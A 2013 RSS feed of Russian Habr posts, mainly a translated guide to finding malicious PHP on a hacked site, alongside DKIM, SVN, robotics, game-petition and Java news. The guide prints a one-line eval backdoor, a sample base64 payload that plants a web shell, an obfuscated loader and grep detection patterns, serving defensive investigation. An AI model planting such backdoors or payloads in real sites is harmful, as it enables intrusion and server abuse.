...

суббота, 3 августа 2013 г.

Exim+Dkim, избавление от страхов


сегодня в 21:21


image

Привет всем.

Если Вы прошаманив несколько дней над Exim и Dkim так и не смогли подписать свои письма, тогда эта статься для вас.

Недавно понадобилось настроить сервер для массовой рассылки, воспользовался постом habrahabr.ru/post/173605/, а также темами в подвале поста. Все сделал по инструкции, но письма по прежнему не были подписаны.



Все проводилось на Centos 6.4 + VestaCp.

Выясняя причину, облазил кучу форумов, перечитал кучу постов и мануалов, а дело стояло на одном месте. Письма через EXIM слались, но без подписи DKIM. Решил отставить в сторону все и попробовать найти проблему самому. Определив что с Exim все хорошо, попробовал перезапустить service dkim-milter restart. Dkim не запускался. «Следовательно проблема в нем» — обрадовался я.

Открыв nano /etc/mail/dkim-milter/keys/keylist у видел что он пуст.

Ключи для моего домена лежат в виде /home/admin/conf/mail/DOMAIN.COM/dkim.pem, следовательно добавив в список ключей строчку *:DOMAIN.COM:/home/admin/conf/mail/DOMAIN.COM/dkim.pem и запустив Dkim service dkim-milter start все заработало!





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Перевод] Как узнать, что ваш PHP сайт был взломан

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа




Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"




Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.


Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?


Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.

Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.


Выявление вредоносных PHP файлов




Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.

Подсказка: эти команды, выполняйте из корневой директории вашего сайта.
Поиск недавно измененных PHP файлов



Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7



Мой взломанный сервер возвратил такие результаты:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php




Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.

Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данных период времени. Следующие методы являются гораздо более эффективными.
Искать все PHP файлы с подозрительным кодом



Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.



find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color




Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color




Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color



Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(

Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»

Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval( str_rot13( base64_decode




Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("




Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.

Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ

FILE GOES ON FOR A LONG TIME......

lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");




preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:



find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color




Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt




С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:



echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );




Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

find . -type f -name '*.php' | xargs grep -il x29



Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.
Констатируем факты



Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того что бы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.


Для этого примера я буду использовать wordpress.


У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.



drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised




Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content



Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.

Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:



diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
>
> if (isset($_REQUEST['x'])) {
> eval(base64_decode($_REQUEST['x']));
> }




Он обнаружил вредоносный код!
Из любопытства...



Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=




Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.

Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.
Всегда ищите каталоги доступные для загрузки исполняемого кода



Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'



Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
#echo $dir
find $dir -type f -name '*.php'
done




Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod +x search_for_php_in_writable



Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less




Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.

Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php




Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:



if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
function shutdownCallback() {
echo "<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
}




Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.

Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.
Где еще может скрываться вредоносный код?



Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду



grep -i '<iframe' mywebsite.txt




Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!

Совет: используйте расширение firebug для firefox, что бы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных




Возможно что злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.


Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.


Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.


Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.


Проверьте .htaccess файлы, если вы используете Apache




Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.



find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;




Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '\.htaccess' | xargs grep -i http;



Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой замятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.


В «реальном мире»




Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:



Array
(
[lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
[eIHSE] => PNxsDhxNdV
[mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
[dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==

[GGhp] => a3ZAbFFTSlJSbFo=
[AIQXa] => e3VWT2VvQ0hyS0ha
)




Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.


Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.


Заключение




Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Наглядное представление активности коммитов SVN в терминале


сегодня в 18:51


В небольших личных проектах я использую SVN и bug-трекером в таких случаях служит лист формата A4. svn log никогда не был легко читаем для меня, поэтому я написал bash-скрипт, позволяющий наглядно видеть активность разработки за последнее время или список коммитов заданной даты:

image



#!/bin/bash

usage='usage:
./svn_log <days> OR ./svn_log <date>

examples:
./svn_log 10 OR ./svn_log 2013-08-02'

# svn log в переменную чтобы обойтись одним вызовом
svn_log=`svn log`

# 1. получаем входной параметр - количество дней ($days) или дата в формате YYYY-MM-DD ($date)
param=$1
if [ -n "$param" ]; then
if [[ "$param" =~ ^[0-9]+$ ]] ; then
days="$param"
elif [[ "$param" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]]; then
date="$param"
else
echo "$usage"
exit 1
fi
else
days=7 # по умолчанию показываем статистику коммитов за прошедшую неделю
fi

# 2. запуск без параметра или с числовым параметром - статистика коммитов по дням
if [ -n "$days" ]; then
for (( i=0; i<$days; i++ ))
do
# получаем дату каждого для в формате YYYY-MM-DD
day=`date +"%Y-%m-%d" --date "$end -$i day"`

# используем полученную дату для поиска по svn log
num_commits=$(echo "$svn_log" | grep "$day" | wc -l)

# вывод результатов
echo -ne "$day "
for (( c=0; c<$num_commits; c++ )); do
echo -ne '#'
done
echo ''
done
fi

# 3. запуск с параметром даты - перечень коммитов в указанный день
if [ -n "$date" ]; then
echo "$svn_log" | grep -A 2 -B 1 "$date" | awk "NR%4==0"
fi


Скачать скрипт: pastebin.com


Буду рад, если этот инструмент пригодится кому-либо еще.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


На реализацию антипиратского закона потребуется около 100 миллионов рублей из госбюджета


сегодня в 18:37



А точнее, 97 миллионов рублей, которые запрошены Роскомнадзором. Звукозаписывающие студии и прочие правообладатели пролоббировали принятие антипиратского закона, о котором уже много раз писали на Хабре. Однако, вряд ли эти организации собираются финансировать работу правительства по выполнению положений этого закона. Само собой, эти деньги будут запрошены у государства, ведь государство же приняло закон.


Роскомнадзор собирается создать отдельное подразделение на 25 человек, которые и будут заниматься исключительно выполнением задач, связанных с положениями указанного выще закона. Кроме того, планируется (вернее, пока предлагается) увеличить штат территориальных органов Роскомнадзора до 92 человек. На все это и требуются означенные 97 миллионов рублей.


Сам Роскомнадзор, по плану, будет заниматься рассылкой уведомлений хостинг-компаниям о нарушениях, рассылкой уведомлений владельцам сайтов. Если провайдеры/владельцы сайтов не будут реагировать, планируется связываться с провайдерами связи, с требованием блокировать тот либо иной ресурс, распространяющий нелегальный контент. Роскомнадзор же будет вести реестр ресурсов, подлежащих блокировке.


Ну, а поскольку все это требует большого количества работы/временных затрат, то и суммы, как видим, немаленькие.


Via digit





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


DFA: летающий робот-трансформер


В мультиках и фильмах о роботах-трансформерах особую радость поклонников этого жанра вызывает возможность слияния нескольких роботов в единое целое, обладающее качественно иными, чем отдельный робот, свойствами. Конечно, до реальных роботов, наделенных искусственным интеллектом, способных рассуждать, обороняться и нападать, еще далеко. Но описанный выше принцип уже реализовали на практике. Команда разработчиков из Цюриха создала несколько летающих роботов, которые умеют определять местоположение друг друга, а также собираться на лету в единый летательный аппарат.


Проект разрабатывается объединенной группой исследователей из IDSC и Швейцарской высшей технической школы. Само собой, здесь не обошлось и без 3D-печати: корпуса роботов созданы при помощи 3 принтера. Корпус — шестигранный, и каждый робот оснащен магнитами, плюс двигателем с винтами (само собой, есть еще и модуль, позволяющий роботам определять местоположение друг друга).


Когда роботы летают сами по себе, они действуют вразнобой, перемещаясь, как приходится. Но они «умеют» собираться в единое целое, перемещаясь затем в воздухе, как система. При этом каждый элемент системы определяет, в каком режиме должен работать собственный двигатель в конкретный момент времени, чтобы система летела в заданном направлении. При этом объединенная система «умеет» и садиться, не просто летать.


Управляется система либо оператором, при помощи джойстика, либо посредством внешних датчиков, включая GPS-модули. В настоящее время проект представлен в качестве демонстрации возможностей распределенного летающего строя, и практической цели не несет. В дальнейшем, как надеются разработчики, принцип, заложенный в основе проекта, можно будет использовать для транспортных систем нового типа. Стоит отметить, что работа над проектом распределенного летающего строя была начата еще в 2008 году, и сейчас мы видим отличные результаты:



via <ahref=«www.wired.com/design/2013/07/distributed-flight-array-modular-self-assembling-flying-robots/»>wired


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Петиции, требующие запретить игру «Company of Heroes-2» в СНГ, набрали около 15 тысяч подписей

25 июня 2013 года на мировом и российском рынках появилась долгожданная новинка — компьютерная игра «Company of Heroes 2» от канадской студии Relic (ныне выкупленной фирмой SEGA).На тот момент никто и не предполагал, какой ажиотаж вызовет игра и что по какой причине это произойдёт. Спустя месяц после её выхода в сети сначала появился разоблачающий видеообзор от студии CarambaTV, а следом одна за другой возникли две петиций от возмущенных пользователей с требованием запретить данный продукт на территории РФ:

Каждое из этих обращений уже подписали более 14 тысяч человек (петицию к 1С — 18.5 тысяч), и их инициаторы не намерены останавливаться на достигнутом.Поводом для столь кардинальных решений послужило содержание игры, с которым подавляющее большинство российских граждан оказались совершенно не согласны.

Если ознакомится со всеми оценками игры, станет очевидно, что её авторы взяли за основу сценария альтернативную версию исторических событий времён Великой Отечественной войны. Таким образом, как считают авторы петиций, создатели «Роты героев» полностью исказили правду о советских солдатах представив их предателями, трусами и садистами, напрочь лишенными не только геройских, но и человеческих черт. Особенно настораживает тот факт, что главной аудиторией игры является молодёжь и даже дети, которые вряд ли читают историческую литературу и вполне могут принять изображённые образы за чистую правду. Преставить весь масштаб угрозы здоровому воспитанию подрастающего поколения можно прочитав один из более ярких обзоров игры.


один из ярких обзоров игры
Хотя название игры переводится как «Рота Героев», не вводите себя в заблуждение этим обманчивым тайтлом. Ибо советские солдаты и командиры здесь меньше всего на свете похожи на героев: первые мечтают свалить с линии фронта и только вездесущие заградотряды заставляют эту толпу трусов и дезертиров отстаивать свою же землю, вторые – расстреливают своих же и делают максимально возможные усилия, чтобы погибло побольше их подчинённых. Во всей кампании едва ли найдётся хоть одно неомерзительное действие советских военных. Советские солдаты поджигают дома с собственными невинными жителями. Советские солдаты хором в запой расстреливают безоружных пленных. Советские командиры спецом дожидаются пока до моста добегут собственные солдаты, чтобы тут же из взорвать. Советские военные подло предают и стреляют в спину тем, кто только что им помог. Порой офигев от такого накала ПРАВДЫ и «исторических разоблачений» в стиле а-ля Михалков, уже просто пялишься в экран и ждёшь, когда увидишь советских солдат едящих человеческое мясо или советских солдат жарящих на костре детей (попарно, как своих, так и немецих). Такие моменты были бы абсолютно в духе Company of Heroes 2, провозглашающей максимум хардкора: никаких не то, что героических, но даже человеческих черт у советских унтерменшей не должно быть показано!

Лишь главгерой, Lev Abramovich Isakovich – свет в конце туннеля, где все остальные, кроме него, трусы, предатели или садисты, единственный честный, незапуганный, сидит в Gulag (как и всякий честный человек) и рассказывает нам частично упомянутую выше историческую правду…


Кого же имели ввиду разработчики в названии «Company of Heroes»? Lev Abramovich ведь, как ни крути, всего один. Скорее всего, нацистов, которые хотели избавить мир от этих трусливых, подлых, садистических недочеловеков, которые хорошо умеют только бесконечно бежать на пулемёты без оружия.


Лишь однажды, похоже, перед сценаристом возникла дилемма: ведь несмотря на то, что показываемая им Красная Армия воюет исключительно забрасыванием трупами из катапульт и расстрелом солдат за подвиги, она каким-то чудом оказалась в Берлине. Эту маленькую неувязочку решили гениально просто: в брифинге нам настойчиво талдычат, что немцев разбил «генерал Мороз», плохие дороги и застревающие в гусеницах немецких танков внутренности советских солдат, а во всех бедах войны виноват Soviet regime, которому просто захотелось фотку с Рейхстагом.


Сами же разработчики не чувствуют себя виноватыми и наоборот переходят в контратаку, утверждая, что всё изобразили «сбалансировано», а мы, жители бывшего СССР, просто слишком хорошего мнения про свою историю. (Как добавляют вторящие разработчикам либералы – «промыты советским образованием и расстроены, что СССР показан не идеальным») Ну да, дорогой читатель, здесь и вправду есть две стороны правды о СССР: есть хорошая, в виде правдолюба Льва Абрамовича и его бегущих на пулемёты болванчиков и плохая – в виде всего остального советского.




Учитываю дерзкую реакцию создателей игры, обида российских пользователей становится только острее. Помимо сбора подписей к петициям, активисты также призывают подключится к процессу российские власти. Раз уж в стране во всю продвигаются законы о блокировании сайтов с нелицензионными фильмами, то и с игрой растаптывающей чувства ветеранов следует всё-таки разобраться. Возмущенные пользователи Рунета уже снизили рейтинг игры на метакритике до 1.6 (из 10), и поставили огромное количество дислайков официальному трейлеру игры на youtube (дислайков уже больше чем лайков).


Пока, как сообщается на страницах петиций, руководство фирм «1С» и «Valve» никак не отреагировало на петиции. Видимо ключевую роль играет объём ожидаемой выручки от продажи игры. «Company of Heroes-2» стала лидером продаж коробочной версии игры в сети «1С-Интерес» в СНГ в первые недели после начала продаж.


Поэтому противостояние продолжается.Создавая и подписывая петиции, неравнодушные граждане рассчитывают как минимум оказать воспитательное воздействие на структуру «1С». Поскольку, даже если игра не будет запрещена, то впредь компания станет более тщательно подходить к выбору игр для локализации под рынок СНГ.


Подписавшие петиции также надеются, что студии по разработке игр со всего мира усвоят этот урок, и будут более серьёзно подходить к выбору роли русскоязычных персонажей в их играх и исторической достоверности, так как не захотят потерять доход от продаж в странах СНГ.


Возможно, читателям Хабра известны случаи, когда продажу другой компьютерной игры запрещали в какой-либо отдельной стране после возмущения пользователей?


PS: Тем временем, в многопользовательской онлайн игре «World of tanks» на американских и европейских серверах отныне под запретом любая надпись с упоминанием Иосифа Сталина (даже латиницей) на советских танках времен Великой Отечественной войны. Таково требование европейцев.


P.P.S Публикую этот текст по просьбе Петра Морозова petyamorozov.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Убийственная вкладка в Chrome


сегодня в 16:10


Навеяно топиком Незакрываемая вкладка


Недавно во-время написание своего проджекта случайно создал много-много больших элементов canvas. Как следствие перезапускал свою OS.

Решил проверить и действительно не у одного меня такие симптомы от посещение ссылки — зжираеться вся оперативная память и активно используется хард диск. Иногда хром просто падает.


Пруф для храбрых


Относительно мобильных браузеров то chrome / safari / opera на iOS и андроиде, то они просто выключаются.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Из песочницы] Любовь и ненависть к Java 8

Похоже Java 8 самый ожидаемый релиз всех времен. Изначально планирующий релиз на сентябрь прошлого года, перенесли на март следующего года, предположительно для того, что бы потратить больше времени на доработки безопасности, в основном направленные на клиентскую часть Java (JavaFX/Swing).

Новая версия Java пытается “совершенствоваться” так, как понимает это слово Microsoft. Это означает кражу большой части вещей, о которых заботились другие фреймворки и языки, затем включение их в язык или runtime. В преддверии нового релиза, сообщество Java обсуждает Project Lambda, stream, functional interfaces и другие плюшки. Так давайте рассмотрим что хорошо, а что мы можем возненавидеть.



Stream




